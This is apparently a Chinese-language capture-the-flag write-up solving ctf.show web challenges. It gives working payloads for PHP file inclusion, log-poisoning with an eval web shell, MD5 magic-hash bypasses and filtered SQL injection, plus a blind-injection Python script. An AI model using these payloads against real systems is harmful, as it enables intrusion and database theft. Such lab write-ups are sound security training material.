1.web3
<?php include($_GET['url']);?>
是文件包含漏洞,get传参url=php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
抓包。进行如下修改:
得到:
访问ctf_go_go_go页面
得到flag
2.web4
有一个提示,日志注入,文件包含,
该环境服务器为Ubuntu,服务为nginx。
nginx的日志文件在/var/log/nginx/access.log和error.log中。
所以构造?url=/var/log/nginx/access.log
抓包在UA头插入<?php eval($_POST['-7'])?>
刷新页面后日志文件变多了,说明上传成功,日志文件中的代码会被执行,而不会显示。
用蚁剑连接就可以得到flag
3.web5
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
代码审计:get传参v1和v2,第一个判断需要v1的全为字母,v2全为数字
第二个判断是v1和v2的MD5值要相等。想到0e开头的MD5值都是一样的,所以可以构造payloud:
v1=QNKCDZO&v2=3908336290
4.web6
一个登录界面,尝试SQL注入,当为admin' or 1=1#时报错
sql inject error。可能对注入进行了过滤,尝试过后发现过滤了空格,用/**/绕过
构造:admin'/**/or/**/1=1#
登录成功。测试字段长度,构造:
admin'/**/union/**/select/**/1,2,3#.此时登录成功
admin'/**/union/**/select/**/1,2,3,4#时登录失败,说明有三个字段
先查数据库名字。构造:admin'/**/union/**/select/**/1,database(),3#
数据库名是web2
查询该数据库的表。构造:
admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
可以从web2查,也可以是database()
可以看到有两个表flag和user。查flag表的字段,也就是列。
构造:admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
列也叫flag,查flag字段的内容,构造
admin'/**/union/**/select/**/1,flag,3/**/from/**/flag#
最后flag就是:ctfshow{37168328-96eb-4f9d-8881-5353217f8563}
5.web7
发现id=1,可能存在SQL注入漏洞,测试注入
构造1 or 1=1#
和web6题爆一样的错,可能过滤了空格./**/绕过
构造:1/**/or/**/1=1#
所有内容都显示出来了,存在SQL注入,判断字段数
构造:1/**/union/**/select/**/1,2,3#.此时正常显示
但是当1/**/union/**/select/**/1,2,3,4#时显示不出来,所以有三个字段
爆数据库的名字,构造:-1/**/union/**/select/**/1,2,database()#
可以看到数据库名称是web7。爆该数据库的表
构造:
-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"#
爆出三个表flag,page,user,查看flag表的字段
构造:
-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
查看字段flag的内容
构造:
-1/**/union/**/select/**/1,2,flag/**/from/**/flag#
最后得到flag:ctfshow{123261d0-646e-4417-b361-f3efc34269a3}
6.web8
这题和前面的都差不多,但是过滤了更多的内容
并且过滤了空格,双引号,而且还是布尔盲注
当正确的时候都查询出来,错误的时候返回sql inject error
用二分法写脚本
import requests
url = "http://40c8f88b-4215-4470-95e7-94ea74c749f9.challenge.ctf.show/index.php?id=-1"
flag = ""
for num in range(1, 60):
l = 33
r = 130
mid = (l + r) >> 1
while l < r:
# 数据库:web8
# sql = "ascii(substr((select/**/database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# 表:flag,page,user
# sql = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# 列:flag
# sql = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
# ctfshow{35a2adce-c01d-49ab-891f-b0f2950abb0e}
sql = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))>{}".format(num, mid)
payload = url + "/**/||/**/" + sql
# print(payload)
res = requests.get(payload)
if 'If' in res.text:
l = mid + 1
else:
r = mid
mid = (l + r) >> 1
if chr(mid) == " ":
break
flag += chr(mid)
print(flag)
输出为:
7.web9
还是一个登录框,扫描一下目录后发现有robots.txt文件
访问
再访问
是源代码,涉及到MD5的绕过,有一个特殊的字符串ffifdyop。万能密码,可以绕过此类MD5
登录成功
8.web10
结合上一题的index.phps找到源代码
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
过滤了:"/(select|from|where|join|sleep|and|\s|union|,)/i";而且$password==$row['password']
构造payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
源自:https://blog.csdn.net/miuzzx/article/details/104351624